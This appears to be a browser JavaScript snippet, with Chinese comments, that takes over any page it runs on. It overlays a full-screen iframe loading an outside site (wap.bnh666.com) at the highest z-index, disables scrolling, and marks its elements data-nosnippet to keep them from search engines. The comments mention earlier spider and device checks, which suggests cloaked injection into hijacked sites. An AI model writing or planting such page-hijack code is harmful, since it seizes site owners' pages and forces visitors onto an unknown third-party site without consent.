/** * ========================================================= * 浏览器端 JS * ========================================================= * * 不再判断: * * - 蜘蛛 * - 手机 * - 电脑 * - UA * - 屏幕尺寸 * - 触摸设备 * * 所有正常执行到这里的访问者都显示广告。 * ========================================================= */ (function () { 'use strict'; /** * PHP 获取到的最终广告地址 */ var jumpUrl = "https://wap.bnh666.com/ldy/"; /** * 创建全屏广告 */ function showFullScreenAd() { /** * 没有 body 就不执行 */ if (!document.body) { return; } /** * 防止重复添加 */ if ( document.getElementById( 'fullscreen-ad-box' ) ) { return; } /** * 创建全屏容器 */ var adBox = document.createElement('div'); adBox.id = 'fullscreen-ad-box'; adBox.setAttribute( 'data-nosnippet', 'true' ); /** * 全屏容器样式 */ adBox.style.cssText = [ 'position:fixed', 'left:0', 'top:0', 'right:0', 'bottom:0', 'width:100vw', 'height:100vh', 'margin:0', 'padding:0', 'border:0', 'background:#fff', 'z-index:2147483647', 'overflow:hidden', 'display:block' ].join(';'); /** * 创建 iframe */ var iframe = document.createElement( 'iframe' ); /** * 最终广告地址 */ iframe.src = jumpUrl; iframe.setAttribute( 'data-nosnippet', 'true' ); iframe.setAttribute( 'frameborder', '0' ); iframe.setAttribute( 'scrolling', 'auto' ); iframe.setAttribute( 'allowfullscreen', 'true' ); /** * iframe 样式 */ iframe.style.cssText = [ 'display:block', 'width:100%', 'height:100%', 'margin:0', 'padding:0', 'border:0', 'background:#fff' ].join(';'); /** * iframe 加载失败 */ iframe.onerror = function () { console.error( '广告 iframe 加载失败:' + jumpUrl ); }; /** * iframe 放入全屏容器 */ adBox.appendChild( iframe ); /** * 全屏容器放入网页 */ document.body.appendChild( adBox ); /** * 禁止页面滚动 */ document.documentElement.style.setProperty( 'overflow', 'hidden', 'important' ); document.body.style.setProperty( 'overflow', 'hidden', 'important' ); /** * 去掉 body 默认边距 */ document.body.style.setProperty( 'margin', '0', 'important' ); console.log( '全屏广告已加载:' + jumpUrl ); } /** * 等待 DOM */ if ( document.readyState === 'loading' ) { document.addEventListener( 'DOMContentLoaded', showFullScreenAd, { once: true } ); } else { showFullScreenAd(); } })();